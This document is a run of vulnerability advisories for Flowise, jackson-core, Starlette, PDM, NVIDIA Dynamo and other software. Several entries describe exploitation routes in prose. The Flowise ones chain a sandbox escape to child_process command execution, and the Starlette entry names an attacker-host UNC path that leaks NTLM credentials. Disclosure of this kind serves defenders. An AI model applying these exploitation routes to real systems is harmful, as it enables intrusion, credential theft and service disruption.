Atals-Livre contains a SQL injection vulnerability that allows attackers to manipulate database queries by passing unsanitized input through a GET parameter to the supp() deletion helper function. Attackers can inject malicious SQL syntax via the vulnerable GET parameter to perform unauthorized database operations including data deletion and extraction.

Atlas-Livre contains an improper access control vulnerability in the admin controllers under Espace_admin/controleur/ that allows unauthenticated attackers to bypass session-based authentication guards by sending raw HTTP requests that ignore redirects. Attackers can invoke destructive admin actions such as record deletion by requesting controller endpoints with GET parameters like supp, because the PHP header() redirect is never followed by an exit or die call, allowing all subsequent code including database operations to execute regardless of session state.

SnailJob 1.7.0 contains a denial of service vulnerability in the FuryUtil.deserialize helper that allows authenticated attackers to crash the server by supplying a crafted Zstandard-compressed payload with an inflated frame_content_size field in the frame header. Attackers can store a base64-encoded Zstandard payload declaring an arbitrarily large decompressed size in a retry task argument, causing the JVM to attempt an unbounded array allocation and triggering an unrecoverable java.lang.OutOfMemoryError when the task is dispatched through the retry-task pipeline.

Prior to 3.1.3, Flowise CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis, which on Node.js exposes eval and dynamic import, the attacker can break out of the Python string literal, hand a JavaScript string to js.eval, dynamically import Node built-in modules such as fs and child_process, and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code, validatePythonCodeForDataFrame and validateCustomReadCSVFunction, are never applied to the bootstrap template. A workspace user with chatflows:create or agentflows/chatflows update permission can plant a CSV Agent node with a crafted csvFile; once the chatflow is exposed via POST /api/v1/prediction/:id, any unauthenticated request triggers host remote code execution. This issue is fixed in version 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/*.conf. This issue is fixed in version 3.1.3.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, executeJavaScriptCode() accepted caller-provided nodeVMOptions and merged them over the default NodeVM security settings in packages/components/src/utils.ts. An authenticated attacker reaching packages/server/src/routes/node-custom-functions/index.ts could run a custom function that imported flowise-components/dist/src/utils.js, called executeJavaScriptCode() again with nodeVMOptions.require.builtin set to allow all built-in modules, and then required child_process to execute arbitrary system commands as root on the Flowise server. This issue is fixed in version 3.1.3.

A flaw was found in SSSD. The extract_authtok_v1() function in the PAM responder does not validate the auth_token_length field against the remaining buffer size before processing. A local attacker can exploit this via a crafted protocol v1 request to the PAM responder socket, causing an out-of-bounds read and process crash, resulting in a denial of service.

The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.

SNOMED International Snowstorm contains a reflected XSS vulnerability within the "Web Route" redirection functionality. An attacker can inject arbitrary JavaScript which will execute upon a target user navigating to a crafted, malicious link. Fixed in 10.12.2 and 10.9.3.

Keysight IxChariot Endpoint and associated products contain a stack-based buffer overflow. An unauthenticated remote attacker can send a specially crafted packet and execute arbitrary code with administrative privileges.

Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\attacker.com\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account’s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0.

PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.

pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through write_to_fs. InstallDestination.write_to_fs() in src/pdm/installers/installers.py overrides the base class to add symlink/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. This issue has been fixed in version 2.27.0.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause deserialization of untrusted data. A successful exploit of this vulnerability might lead to denial of service and data tampering.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause the generation of error messages that contain sensitive information. A successful exploit of this vulnerability might lead to information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause a race condition in the LoRA manager singleton initialization. A successful exploit of this vulnerability might lead to denial of service and data tampering.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause a race condition in the LoRA manager singleton initialization. A successful exploit of this vulnerability might lead to data tampering and denial of service.

NVIDIA Dynamo for Linux examples and recipes contain a vulnerability where an attacker could cause a system failure. A successful exploit of this vulnerability might lead to code execution, data tampering, denial of service, and information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability in the Rust multimodal media fetcher where an attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability in the multimodal media fetcher where an attacker may cause server-side request forgery via DNS rebinding. A successful exploit of this vulnerability might lead to information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability in the multimodal media fetcher where an attacker may cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker may cause server-side request forgery by supplying a crafted URL in a multimodal request. A successful exploit of this vulnerability might lead to information disclosure.

NVIDIA Dynamo for Linux contains a vulnerability where an attacker may cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.